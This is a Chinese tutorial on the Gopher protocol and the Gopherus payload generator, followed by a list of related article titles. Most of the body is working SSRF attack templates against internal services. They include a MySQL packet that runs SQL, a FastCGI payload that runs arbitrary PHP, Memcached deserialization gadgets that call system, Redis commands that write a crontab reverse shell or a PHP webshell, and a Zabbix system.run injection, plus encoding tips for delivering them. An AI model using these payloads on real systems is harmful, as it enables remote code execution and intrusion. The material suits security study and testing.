Gopher协议浅析

Gopher协议是internet的一个信息查找系统,俗称万能协议,可以通过gopher访问对应计算机上的其他资源,例如利用gopher实现:GET请求,POST请求,内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等。

协议详情

端口

默认为70端口,可以自定义

协议格式

gopher://127.0.0.1:70/_[data]

“_”相当于一个连接符,可以设置为任意字符,不包括在为请求数据内

支持应用/中间件

服务端:目前测试nginx支持,apache 暂不支持(会返回400错误)

客户端:curl、libcurl支持该协议访问

样例

实验环境:nginx 1.15.11、curl 7.47.0

访问gopher协议与http类似

ip:port部分:gopher://10.67.9.111/_

数据部分:

%47%45%54%20%2f%31%2e%74%78%74%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%30%2e%36%37%2e%39%2e%31%31%31%0a%0a

该编码为http请求体的url编码

可以看到可以返回http返回请求。

Gopherus工具解析

Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload

目前支持生成payload应用有:

MySQL (Port:3306)

FastCGI (Port:9000)

Memcached (Port:11211)

Redis (Port:6379)

Zabbix (Port:10050)

SMTP (Port:25)

Script目录下存放为各种payload生成器

  1. Mysql

payload通过mysql正常登陆并执行sql语句的tcp包来构造,分成用户认证部分与sql执行部分

payload:

“00000185a6ff0100000001210000000000000000000000000000000000000000000000”+用户名hex+”00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c”+hex(SQL_EN(sql语句))+ “0100000001”

通过gopher发送该payload至本地3306端口执行mysql语句并返回结果

  1. FastCGI

针对FastCGI的特性构造一个带有后门php文件的payload,传入fastcgi监听的服务,造成远程代码执行(远程命令执行)

payload:

"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" +长度相关字符串+“\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e”+len(len(commend))+"CONTENT_LENGTH"+len(command)+ "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input\x0f" +len(filename)+ "SCRIPT_FILENAME"+filename+"\r\x01DOCUMENT_ROOT/"+字符长度填充位+"\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00"+命令长度字符串+"\x04\x00"+backdoor_phpcode+“\x00\x00\x00\x00”

其中两个需要注意的点:

  1. 必须知道服务器某个php文件的绝对路径
  2. Backdoor_phpcode并不会生成文件,仅执行,且可以是任意php代码
  1. Memcache

支持memcache的payload有三种,分别为php、python、ruby

Payload:

"%0d%0aset SpyD3r 4 0 " +len(code) + "%0d%0a" +code+ "%0d%0a"

其中code:

Php:序列化代码,例如O:5:"Hello":0:{}

Python:”cposix\r\nsystem\r\n\p1\r\n(S’”+payload+”\r\np2\r\ntRp3\r\n.”

Ruby:"\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x06:\t@srcI\""+len(code)+ "%x(" + code + """);\x06:\x06ET:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatoro:\x1fActiveSupport::Deprecation\x06:\x0e@silencedT"

  1. Redis

Redis的利用方法分为两种,直接反弹与写phpshell

  1. Revers shell:

Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len_cmd) + "\r" + cmd + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(crontab_dir)) + "\r" + crontab_dir + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r*1\r$4\rsave\r"

  1. Phpshell:

Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len(php_payload) + 4) + "\r" + php_payload + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(web_root_location)) + "\r" + web_root_location + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*1\r$4\rsave\r"

  1. Zabbix

Payload:"system.run[("+command+");sleep 2s]"

  1. SMTP

Payload:MAIL\x20FROM:yy\nRCPT\x20To:yy\nDATA\nFrom:yy\nSubject:yy\nMessage:flag\n.

利用方法

Nginx版本:1.10

PHP版本:7.0

本地构造存在ssrf的php文件,通过url参数传入payload

Gopherus生成的payload的必须在重新进行urlencode一次,因为浏览器在传输url的时候会解码一次,如果不进行二次编码,payload会传输错误

Mysql

Mysql模块的利用必须满足本地访问root或者其他账户无密码的情况,也可以构造包含账号密码的payload进行攻击

FastCGI

Fastcgi需要指定一个服务php文件绝对路径

Memcached

Memcached本身用于存放小块的缓存数据,根据使用情况也可以反弹shell

这里以python为例,首先生成反弹shell的exp

二次编码发送payload,服务器接收

当服务器端获取并执行反序列化会执行命令

Redis

Redis分为两种,一种利用写入计划任务执行反弹shell操作,一种是在知晓网站网站绝对路径的情况下,写入phpshell

以写入php为例子

Zabbix

无环境,思路与FastCGI类似

SMTP

SMTP主要利用ssrf来发送邮件,暂时没有获取权限的功能

关于gopher协议的ssrf攻击相关推荐

  1. Web漏洞之SSRF攻击汇总

    目录 靶场拓扑设计 x.x.x.x:8080 - 判断 SSRF 是否存在 172.72.23.21 - SSRF 获取本地信息 FILE 协议获取本地信息 172.72.23.1/24 - SSRF ...

  2. SSRF中phar协议和gopher协议的利用

    我们在学习SSRF漏洞的时候,经常会只关注file协议等,因为利用方式简单.实际上随着php版本的提升和编程技术的规范,能够直接利用的漏洞越来越少了,所以学习使用phar和gopher协议是很有必要的 ...

  3. SSRF之GOPHER协议利用

    目录 GOPHER协议 GOPHER协议发起的格式 GOPHER利用工具 案例一:CTFSHOW-359关 GOPHER协议 GOPHER协议是一种比HTTP协议还要古老的协议,默认工作端口70,但是 ...

  4. 利用SSRF攻击Redis

    前置知识 利用SSRF来攻击靶机的redis服务,需要涉及到的一些知识点: 1,Redis客户端和服务端通信过程,以及常用命令: 2,相关协议,例如dict://协议和gother协议的使用 dict ...

  5. php禁用gopher协议,SSRF攻击-运用gopher协议构造POST包--emmmm(http://10.112.68.215:10004/index.php?action=login)...

    还是天枢的一道CTF题,启程! 分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息. emmmmm,很挑衅,网站就当作服务器,我们在url框中输入一个伪造的执行代码,让他运 ...

  6. SSRF 302跳转 gopher协议攻击redis写入ssh公钥,实现远程无密登录(学习总结)

    一.SSRF漏洞 SSRF(Server Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞,因为求情是由服务器发出的,所以往往是利用S ...

  7. SSRF学习-gopher协议学习

    ssrf是攻击者伪造服务器端发起请求的漏洞 读取服务器内部文件 端口扫描 攻击脆弱的内网应用 pikachu靶场 curl_exec() 使用此函数前提 PHP版本>=5.3 开启extensi ...

  8. SSRF攻击实例解析

    ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...

  9. 实战 | SSRF攻击内网的实战案例

    0x01 苦逼的测试任务 某一天,我照常在学校的CTF群和学长吹水,突然管事的学长在群里发了一张图,这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试.上面的老师自然而然把这个任务分配给我们CTF战 ...

  10. 【SSRF技巧拓展】————2、SSRF攻击实例解析

    ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...

最新文章

  1. 史上最萌的统计学入门书,快来看看长啥样
  2. 设计模式学习3——装饰者模式(Decorator)
  3. 消费金融和信用卡本质上的区别是什么?
  4. 摄影中的色温和白平衡及其二者关系的全面详解
  5. ajax技术书,ajax技术
  6. HTML - 超文本标记语言 (Hyper Text Markup Language)
  7. C# 序列化理解 1(转)
  8. 代理ip如何使用_为什么在使用代理IP爬虫时会出现超时?
  9. 1.空间中直线交点坐标问题,2.已知球面三点求球心问题以及Matlab实现
  10. grid autosport额外内容下载慢_世界土壤数据库(HWSD)全球土壤数据下载处理
  11. esxi安装参考文章及见解
  12. STM32F103RC单片机ADC1使用TIM1自动触发注入通道组的AD转换
  13. MATLAB 结构矩阵和单元矩阵
  14. srt转vtt——在线转换工具
  15. php配置上传pdf文件大小,文件上传有大小限制?PDF文件怎么压缩到指定大小?
  16. android 笔试题大全,2018年Android面试题大全
  17. 所有Android 开发者都要知道的开发常识
  18. 0117 - 深耕 iBooks 标注导入
  19. latex中的字体族,\texttt{}是什么
  20. 磁盘缓存和缓存命中率

热门文章

  1. EPLAN 电气工程图纸
  2. php后台管理修改密码,重置网站后台管理员密码
  3. python 求最大值_Python 获取最大值函数
  4. 中国拖车洒水器市场趋势报告、技术动态创新及市场预测
  5. 带你玩转 3D 检测和分割 (二):核心组件分析之坐标系和 Box
  6. 电脑被流氓软件入侵?教你彻底清除
  7. 计算机复试读研规划,【图片】2020考研,老学长教你如何规划!【计算机考研吧】_百度贴吧...
  8. WPS for Linux(ubuntu)字体配置(字体缺失解决办法)
  9. 添加MSN客服代码,可显示MSN在线和不在线,自动打开MSN聊天窗口
  10. promise终止方案